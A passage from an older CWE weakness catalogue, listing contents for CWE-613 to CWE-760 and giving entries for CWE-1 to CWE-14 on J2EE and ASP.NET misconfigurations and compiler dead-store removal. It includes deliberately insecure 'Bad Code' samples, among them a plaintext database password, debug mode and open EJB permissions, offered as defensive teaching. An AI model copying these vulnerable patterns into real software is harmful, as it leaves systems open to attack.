CWE-613: Insufficient Session Expiration....599
CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute....600
CWE-615: Information Leak Through Comments....601
CWE-616: Incomplete Identification of Uploaded File Variables (PHP)....601
CWE-617: Reachable Assertion....603
CWE-618: Exposed Unsafe ActiveX Method....603
CWE-619: Dangling Database Cursor (aka 'Cursor Injection')....604
CWE-620: Unverified Password Change....605
CWE-621: Variable Extraction Error....606
CWE-622: Unvalidated Function Hook Arguments....607
CWE-623: Unsafe ActiveX Control Marked Safe For Scripting....607
CWE-624: Executable Regular Expression Error....608
CWE-625: Permissive Regular Expression....609
CWE-626: Null Byte Interaction Error (Poison Null Byte)....610
CWE-627: Dynamic Variable Evaluation....611
CWE-628: Function Call with Incorrectly Specified Arguments....612
CWE-629: Weaknesses in OWASP Top Ten (2007)....613
CWE-630: Weaknesses Examined by SAMATE....614
CWE-631: Resource-specific Weaknesses....615
CWE-632: Weaknesses that Affect Files or Directories....615
CWE-633: Weaknesses that Affect Memory....615
CWE-634: Weaknesses that Affect System Processes....616
CWE-635: Weaknesses Used by NVD....616
CWE-636: Not Failing Securely (aka 'Failing Open')....617
CWE-637: Failure to Use Economy of Mechanism....619
CWE-638: Failure to Use Complete Mediation....620
CWE-639: Access Control Bypass Through User-Controlled Key....621
CWE-640: Weak Password Recovery Mechanism for Forgotten Password....622
CWE-641: Insufficient Filtering of File and Other Resource Names for Executable Content....624
CWE-642: External Control of Critical State Data....625
CWE-643: Failure to Sanitize Data within XPath Expressions (aka 'XPath injection')....628
CWE-644: Insufficient Sanitization of HTTP Headers for Scripting Syntax....630
CWE-645: Overly Restrictive Account Lockout Mechanism....631
CWE-646: Reliance on File Name or Extension of Externally-Supplied File....632
CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions....632
CWE-648: Improper Use of Privileged APIs....634
CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking....635
CWE-650: Trusting HTTP Permission Methods on the Server Side....636
CWE-651: Information Leak through WSDL File....637
CWE-652: Failure to Sanitize Data within XQuery Expressions (aka 'XQuery Injection')....638
CWE-653: Insufficient Compartmentalization....639
CWE-654: Reliance on a Single Factor in a Security Decision....641
CWE-655: Failure to Satisfy Psychological Acceptability....642
CWE-656: Reliance on Security through Obscurity....643
CWE-657: Violation of Secure Design Principles....645
CWE-658: Weaknesses in Software Written in C....645
CWE-659: Weaknesses in Software Written in C++....647
CWE-660: Weaknesses in Software Written in Java....649
CWE-661: Weaknesses in Software Written in PHP....650
CWE-662: Insufficient Synchronization....651
CWE-663: Use of a Non-reentrant Function in an Unsynchronized Context....651
CWE-664: Insufficient Control of a Resource Through its Lifetime....652
CWE-665: Improper Initialization....653
CWE-666: Operation on Resource in Wrong Phase of Lifetime....656

CWE-667: Insufficient Locking..... 657
CWE-668: Exposure of Resource to Wrong Sphere.....658
CWE-669: Incorrect Resource Transfer Between Spheres.....659
CWE-670: Always-Incorrect Control Flow Implementation.....659
CWE-671: Lack of Administrator Control over Security..... 660
CWE-672: Use of a Resource after Expiration or Release.....660
CWE-673: External Influence of Sphere Definition..... 661
CWE-674: Uncontrolled Recursion.....662
CWE-675: Duplicate Operations on Resource.....663
CWE-676: Use of Potentially Dangerous Function..... 663
CWE-677: Weakness Base Elements.....664
CWE-678: Composites..... 670
CWE-679: Chain Elements.....670
CWE-680: Integer Overflow to Buffer Overflow..... 672
CWE-681: Incorrect Conversion between Numeric Types.....673
CWE-682: Incorrect Calculation..... 673
CWE-683: Function Call With Incorrect Order of Arguments.....676
CWE-684: Failure to Provide Specified Functionality..... 677
CWE-685: Function Call With Incorrect Number of Arguments..... 677
CWE-686: Function Call With Incorrect Argument Type.....678
CWE-687: Function Call With Incorrectly Specified Argument Value..... 678
CWE-688: Function Call With Incorrect Variable or Reference as Argument..... 679
CWE-689: Permission Race Condition During Resource Copy.....680
CWE-690: Unchecked Return Value to NULL Pointer Dereference..... 681
CWE-691: Insufficient Control Flow Management..... 682
CWE-692: Incomplete Blacklist to Cross-Site Scripting..... 683
CWE-693: Protection Mechanism Failure..... 684
CWE-694: Use of Multiple Resources with Duplicate Identifier..... 685
CWE-695: Use of Low-Level Functionality.....686
CWE-696: Incorrect Behavior Order..... 686
CWE-697: Insufficient Comparison.....687
CWE-698: Redirect Without Exit..... 688
CWE-699: Development Concepts.....688
CWE-700: Seven Pernicious Kingdoms.....689
CWE-701: Weaknesses Introduced During Design..... 690
CWE-702: Weaknesses Introduced During Implementation..... 696
CWE-703: Failure to Handle Exceptional Conditions.....706
CWE-704: Incorrect Type Conversion or Cast.....707
CWE-705: Incorrect Control Flow Scoping..... 708
CWE-706: Use of Incorrectly-Resolved Name or Reference.....708
CWE-707: Failure to Enforce that Messages or Data are Well-Formed.....709
CWE-708: Incorrect Ownership Assignment.....710
CWE-709: Named Chains..... 710
CWE-710: Coding Standards Violation..... 711
CWE-711: Weaknesses in OWASP Top Ten (2004).....711
CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)..... 712
CWE-713: OWASP Top Ten 2007 Category A2 - Injection Flaws..... 713
CWE-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution.....713
CWE-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference.....713
CWE-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)..... 714
CWE-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling..... 714
CWE-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management..... 714
CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage.....715
CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications.....715
CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access.....715
CWE-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input..... 716
CWE-723: OWASP Top Ten 2004 Category A2 - Broken Access Control.....716
CWE-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management..... 717
CWE-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws.....718
CWE-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows.....718
CWE-727: OWASP Top Ten 2004 Category A6 - Injection Flaws..... 718

CWE-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling....719
CWE-729: OWASP Top Ten 2004 Category A8 - Insecure Storage....719
CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service....720
CWE-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management....720
CWE-732: Insecure Permission Assignment for Critical Resource....721
CWE-733: Compiler Optimization Removal or Modification of Security-critical Code....723
CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard....723
CWE-735: CERT C Secure Coding Section 01 - Preprocessor (PRE)....724
CWE-736: CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)....725
CWE-737: CERT C Secure Coding Section 03 - Expressions (EXP)....725
CWE-738: CERT C Secure Coding Section 04 - Integers (INT)....726
CWE-739: CERT C Secure Coding Section 05 - Floating Point (FLP)....726
CWE-740: CERT C Secure Coding Section 06 - Arrays (ARR)....726
CWE-741: CERT C Secure Coding Section 07 - Characters and Strings (STR)....727
CWE-742: CERT C Secure Coding Section 08 - Memory Management (MEM)....727
CWE-743: CERT C Secure Coding Section 09 - Input Output (FIO)....728
CWE-744: CERT C Secure Coding Section 10 - Environment (ENV)....729
CWE-745: CERT C Secure Coding Section 11 - Signals (SIG)....729
CWE-746: CERT C Secure Coding Section 12 - Error Handling (ERR)....730
CWE-747: CERT C Secure Coding Section 49 - Miscellaneous (MSC)....730
CWE-748: CERT C Secure Coding Section 50 - POSIX (POS)....731
CWE-749: Exposed Dangerous Method or Function....731
CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors....732
CWE-751: Insecure Interaction Between Components....733
CWE-752: Risky Resource Management....733
CWE-753: Porous Defenses....733
CWE-754: Improper Check for Exceptional Conditions....734
CWE-755: Improper Handling of Exceptional Conditions....734
CWE-756: Missing Custom Error Page....734
CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')....735
CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior....735
CWE-759: Use of a One-Way Hash without a Salt....736
CWE-760: Use of a One-Way Hash with a Predictable Salt....737
CWE-1000: Research Concepts....737
CWE-2000: Comprehensive CWE Dictionary....738
Index....**753**

CWE-1: Location

Category ID: 1 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are organized based on which phase they are introduced during the software development and deployment process.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	*2*	*Environment*	***699***	*1*
ParentOf	C	*16*	*Configuration*	***699***	*13*
ParentOf	C	*17*	*Code*	***699***	*13*
MemberOf	V	*699*	*Development Concepts*	***699***	*688*

CWE-2: Environment

Category ID: 2 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are typically introduced during unexpected environmental conditions.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	1	Location	**699**	1
ParentOf	C	*3*	*Technology-specific Environment Issues*	***699***	*1*
ParentOf	WA	*5*	*J2EE Misconfiguration: Data Transmission Without Encryption*	***700***	*2*
ParentOf	WA	*6*	*J2EE Misconfiguration: Insufficient Session-ID Length*	***700***	*3*
ParentOf	WA	*7*	*J2EE Misconfiguration: Missing Custom Error Page*	***700***	*4*
ParentOf	WA	*8*	*J2EE Misconfiguration: Entity Bean Declared Remote*	***700***	*5*
ParentOf	WA	*9*	*J2EE Misconfiguration: Weak Access Permissions for EJB Methods*	***700***	*6*
ParentOf	WA	*11*	*ASP.NET Misconfiguration: Creating Debug Binary*	***700***	*7*
ParentOf	WA	*12*	*ASP.NET Misconfiguration: Missing Custom Error Page*	***700***	*8*
ParentOf	WA	*13*	*ASP.NET Misconfiguration: Password in Configuration File*	***700***	*9*
ParentOf	WE	*14*	*Compiler Removal of Code to Clear Buffers*	*699* ***700***	*10*
ParentOf	WE	*15*	*External Control of System or Configuration Setting*	***699***	*12*
ParentOf	WC	*435*	*Interaction Error*	***699***	*462*
ParentOf	WE	*552*	*Files or Directories Accessible to External Parties*	***699***	*555*
ParentOf	WA	*650*	*Trusting HTTP Permission Methods on the Server Side*	***699***	*636*
MemberOf	V	*700*	*Seven Pernicious Kingdoms*	***700***	*689*

CWE-3: Technology-specific Environment Issues

Category ID: 3 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are typically introduced during unexpected environmental conditions in particular technologies.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	**699**	1
ParentOf	C	*4*	*J2EE Environment Issues*	***699***	*1*
ParentOf	C	*519*	*.NET Environment Issues*	***699***	*536*

CWE-4: J2EE Environment Issues

Category ID: 4 *(Category)* **Status:** Incomplete

Description

Summary

J2EE framework related environment issues with security implications.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	3	Technology-specific Environment Issues	**699**	1
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720
ParentOf	W	*5*	*J2EE Misconfiguration: Data Transmission Without Encryption*	***699***	*2*
ParentOf	W	*6*	*J2EE Misconfiguration: Insufficient Session-ID Length*	***699***	*3*
ParentOf	W	*7*	*J2EE Misconfiguration: Missing Custom Error Page*	*699*	*4*
ParentOf	W	*8*	*J2EE Misconfiguration: Entity Bean Declared Remote*	***699***	*5*
ParentOf	W	*9*	*J2EE Misconfiguration: Weak Access Permissions for EJB Methods*	***699***	*6*
ParentOf	W	*555*	*J2EE Misconfiguration: Plaintext Password in Configuration File*	***699***	*557*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption

Weakness ID: 5 *(Weakness Variant)* **Status:** Draft

Description

Summary

Information sent over a network can be compromised while in transit. An attacker may be able to read/modify the contents if the data are sent in plaintext or are weakly encrypted.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- Java

Potential Mitigations

The application configuration should ensure that SSL or an encryption mechanism of equivalent strength and vetted reputation is used for all access-controlled pages.

Other Notes

If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. There are three common ways for SSL to be bypassed: - (1) A user manually enters URL and types "HTTP" rather than "HTTPS". - (2) Attackers intentionally send a user to an insecure URL. - (3) A programmer erroneously creates a relative link to a page in the application, failing to switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	**700**	1
ChildOf	C	4	J2EE Environment Issues	**699**	1
ChildOf	We	319	Cleartext Transmission of Sensitive Information	**1000**	342

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Misconfiguration: Insecure Transport

CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length

Weakness ID: 6 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

If an attacker can guess or steal a session ID, then he/she may be able to take over the user's session (called session hijacking).

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Potential Mitigations

Session identifiers should be at least 128 bits long to prevent brute-force session guessing. A shorter session identifier leaves the application open to brute-force session guessing attacks.

Background Details

Session ID's can be used to identify communicating parties in a web environment.

Other Notes

If an attacker can guess an authenticated user's session identifier, he can take over the user's session. The remainder of this explanation will detail a back-of-the-envelope justification for a 128 bit session identifier. The expected number of seconds required to guess a valid session identifier is given by the equation: (2^B+1)/(2*A*S) Where: - B is the number of bits of entropy in the session identifier. - A is the number of guesses an attacker can try each second. - S is the number of valid session identifiers that are valid and available to be guessed at any given time. The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic. If attackers use a botnet with hundreds or thousands of drone computers, it is reasonable to assume that they could attempt tens of thousands of guesses per second. If the web site in question is large and popular, a high volume of guessing might go unnoticed for some time. A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.) With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is less than 4 minutes. Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	**700**	1
ChildOf	C	4	J2EE Environment Issues	**699**	1
ChildOf	We	334	Small Space of Random Values	**1000**	360

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Misconfiguration: Insufficient Session-ID Length

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials	
59	Session Credential Falsification through Prediction	

CWE-7: J2EE Misconfiguration: Missing Custom Error Page

Weakness ID: 7 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The default error page of a web application should not display sensitive information about the software system.

Extended Description

A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Java Example: *Bad Code*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  try {
    ...
  } catch (ApplicationSpecificException ase) {
    logger.error("Caught: " + ase.toString());
  }
}
```

Potential Mitigations

Handle exceptions appropriately in source code.

Always define appropriate error pages.

Do not attempt to process an error or attempt to mask it.

Verify return values are correct and do not supply sensitive information about the system.

Other Notes

When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks. If the application shows the attacker a stack trace, it relinquishes information that makes the attacker's job significantly easier. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.
The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will

also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	**700**	1
ChildOf	C	4	J2EE Environment Issues	699	1
ChildOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	**711**	719
ChildOf	Wc	756	Missing Custom Error Page	**699** **1000**	734

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Misconfiguration: Missing Error Handling

References

M. Howard, D. LeBlanc and J. Viega. "19 Deadly Sins of Software Security". McGraw-Hill/Osborne. 2005.

CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote

Weakness ID: 8 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.

Time of Introduction

- Architecture and Design
- Implementation

Demonstrative Examples

Bad Code

```
<ejb-jar>
  <enterprise-beans>
    <entity>
      <ejb-name>EmployeeRecord</ejb-name>
      <home>com.wombat.empl.EmployeeRecordHome</home>
      <remote>com.wombat.empl.EmployeeRecord</remote>
      ...
    </entity>
  ...
  </enterprise-beans>
</ejb-jar>
```

Potential Mitigations

Declare Java beans "local" when possible. When a bean must be remotely accessible, make sure that sensitive information is not exposed, and ensure that your application logic performs appropriate validation of any data that might be modified by an attacker.

Other Notes

Entity beans that expose a remote interface become part of an application's attack surface. For performance reasons, an application should rarely use remote entity beans, so there is a good chance that a remote entity bean declaration is an error.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	**700**	1
ChildOf	C	4	J2EE Environment Issues	**699**	1

Nature	Type	ID	Name	V	Page
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	**1000**	658

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Misconfiguration: Unsafe Bean Declaration

CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods

Weakness ID: 9 *(Weakness Variant)* **Status:** Draft

Description

Summary

If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the software system.

Time of Introduction

- Architecture and Design
- Implementation

Demonstrative Examples

The following deployment descriptor grants ANYONE permission to invoke the Employee EJB's method named getSalary().

Bad Code

```
<ejb-jar>
  ...
  <assembly-descriptor>
    <method-permission>
      <role-name>ANYONE</role-name>
      <method>
      <ejb-name>Employee</ejb-name>
      <method-name>getSalary</method-name>
    </method-permission>
  </assembly-descriptor>
  ...
</ejb-jar>
```

Potential Mitigations

Follow the principle of least privilege when assigning access rights to EJB methods. Permission to invoke EJB methods should not be granted to the ANYONE role.

Other Notes

If the EJB deployment descriptor contains one or more method permissions that grant access to the special ANYONE role, it indicates that access control for the application has not been fully thought through or that the application is structured in such a way that reasonable access control restrictions are impossible.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	**700**	1
ChildOf	C	4	J2EE Environment Issues	**699**	1
ChildOf	We	266	Incorrect Privilege Assignment	**1000**	291
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Misconfiguration: Weak Access Permissions

CWE-10: ASP.NET Environment Issues

Category ID: 10 *(Category)* **Status:** Incomplete

Description

Summary

ASP.NET framework/language related environment issues with security implications.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	519	.NET Environment Issues	**699**	536
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720
ParentOf	W	*11*	*ASP.NET Misconfiguration: Creating Debug Binary*	***699***	*7*
ParentOf	W	*12*	*ASP.NET Misconfiguration: Missing Custom Error Page*	***699***	*8*
ParentOf	W	*13*	*ASP.NET Misconfiguration: Password in Configuration File*	***699***	*9*
ParentOf	W	*554*	*ASP.NET Misconfiguration: Not Using Input Validation Framework*	*699*	*556*
ParentOf	W	*556*	*ASP.NET Misconfiguration: Use of Identity Impersonation*	***699***	*558*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

CWE-11: ASP.NET Misconfiguration: Creating Debug Binary

Weakness ID: 11 *(Weakness Variant)* **Status:** Draft

Description

Summary

Debugging messages help attackers learn about the system and plan a form of attack.

Extended Description

ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- .NET

Demonstrative Examples

The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.

Bad Code

```
<?xml version="1.0" encoding="utf-8" ?>
  <configuration>
    <system.web>
      <compilation
      defaultLanguage="c#"
      debug="true"
      />
      ...
    </system.web>
  </configuration>
```

Change the debug mode to false when the application is deployed into production.

Potential Mitigations

Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production (See demonstrative example).

Other Notes

The debug attribute of the <compilation> tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much

information about itself as possible to the user. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production. Attackers can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	**700**	1
ChildOf	C	10	ASP.NET Environment Issues	**699**	6
ChildOf	WW	215	Information Leak Through Debug Information	**1000**	245

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	ASP.NET Misconfiguration: Creating Debug Binary

CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page

Weakness ID: 12 *(Weakness Variant)* **Status:** Draft

Description

Summary

An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- .NET

Common Consequences

Confidentiality

Default error pages gives detailed information about the error that occurred, and should not be used in production environments.

Demonstrative Examples

Example 1:

Custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

ASP.NET Example: *Bad Code*

```
<customErrors ... mode="Off" />
```

Example 2:

Custom error message mode for remote user only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

ASP.NET Example: *Good Code*

```
<customErrors mode="RemoteOnly" />
```

Potential Mitigations

Handle exceptions appropriately in source code. The best practice is to use a custom error message. Make sure that the mode attribute is set to "RemoteOnly" in the web.config file as shown in the following example.

Good Code

```
<customErrors mode="RemoteOnly" />
```

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used. It should be configured to use a custom page as follows:

Good Code

```
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

Do not attempt to process an error or attempt to mask it.

Verify return values are correct and do not supply sensitive information about the system.

ASP .NET applications should be configured to use custom error pages instead of the framework default page.

Other Notes

The mode attribute of the <customErrors> tag defines whether custom or default error pages are used. Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		2	Environment	**700**	1
ChildOf		10	ASP.NET Environment Issues	**699**	6
ChildOf	WC	756	Missing Custom Error Page	**1000**	734

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	ASP.NET Misconfiguration: Missing Custom Error Handling

References

M. Howard, D. LeBlanc and J. Viega. "19 Deadly Sins of Software Security". McGraw-Hill/Osborne. 2005.

OWASP, Fortify Software. "ASP.NET Misconfiguration: Missing Custom Error Handling". < http://www.owasp.org/index.php/ASP.NET_Misconfiguration:_Missing_Custom_Error_Handling >.

CWE-13: ASP.NET Misconfiguration: Password in Configuration File

Weakness ID: 13 *(Weakness Variant)* **Status:** Draft

Description

Summary

Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.

Time of Introduction

- Architecture and Design
- Implementation

Demonstrative Examples

The following connectionString has clear text credentials.

Bad Code

```
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
  providerName="System.Data.Odbc" />
</connectionStrings>
```

Potential Mitigations

Good password management guidelines require that a password never be stored in plaintext.

Implementation

credentials stored in configuration files should be encrypted.

Implementation

Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	**700**	1
ChildOf	C	10	ASP.NET Environment Issues	**699**	6
ChildOf	WW	260	Password in Configuration File	**1000**	286

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	ASP.NET Misconfiguration: Password in Configuration File

References

Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using DPAPI". < http://msdn.microsoft.com/en-us/library/ms998280.aspx >.

Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using RSA". < http://msdn.microsoft.com/en-us/library/ms998283.aspx >.

Microsoft Corporation. ".NET Framework Developer's Guide - Securing Connection Strings". < http://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx >.

CWE-14: Compiler Removal of Code to Clear Buffers

Weakness ID: 14 *(Weakness Base)* **Status:** Draft

Description

Summary

Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."

Extended Description

This compiler optimization error occurs when:

1. Secret data are stored in memory.
2. The secret data are scrubbed from memory by overwriting its contents.
3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.

Time of Introduction

- Implementation
- Build and Compilation

Applicable Platforms

Languages

- C
- C++

Detection Factors

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Demonstrative Examples

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using memset().

Bad Code

```
void GetData(char *MFAddr) {
  char pwd[64];
  if (GetPasswordFromUser(pwd, sizeof(pwd))) {
    if (ConnectToMainframe(MFAddr, pwd)) {
      // Interaction with mainframe
    }
  }
  memset(pwd, 0, sizeof(pwd));
}
```

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to memset() will be removed as a dead store because the buffer pwd is not used after its value is overwritten [18]. Because the buffer pwd contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system. It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to memset() as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency. Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

Potential Mitigations

Implementation

Store the sensitive data in a "volatile" memory location if available.

Build and Compilation

If possible, configure your compiler so that it does not remove dead stores.

Architecture and Design

Where possible, encrypt sensitive data that are used by a software system.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	699 **700**	1
ChildOf	C	503	Byte/Object Code	**699**	528
ChildOf	C	633	Weaknesses that Affect Memory	**631**	615
ChildOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	**711**	719
ChildOf	We	733	Compiler Optimization Removal or Modification of Security-critical Code	**1000**	723
ChildOf	C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	**734**	730

Affected Resources

- Memory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Insecure Compiler Optimization
PLOVER			Sensitive memory uncleared by compiler optimization
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC06-C		Be aware of compiler optimization when dealing with sensitive data

References

Michael Howard. "When scrubbing secrets in memory doesn't work". BugTraq. 2002-11-05. < http://cert.uni-stuttgart.de/archive/bugtraq/2002/11/msg00046.html >.

< http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure10102002.asp >.

Joseph Wagner. "GNU GCC: Optimizer Removes Code Necessary for Security". Bugtraq. 2002-11-16. < http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-11/0257.html >.

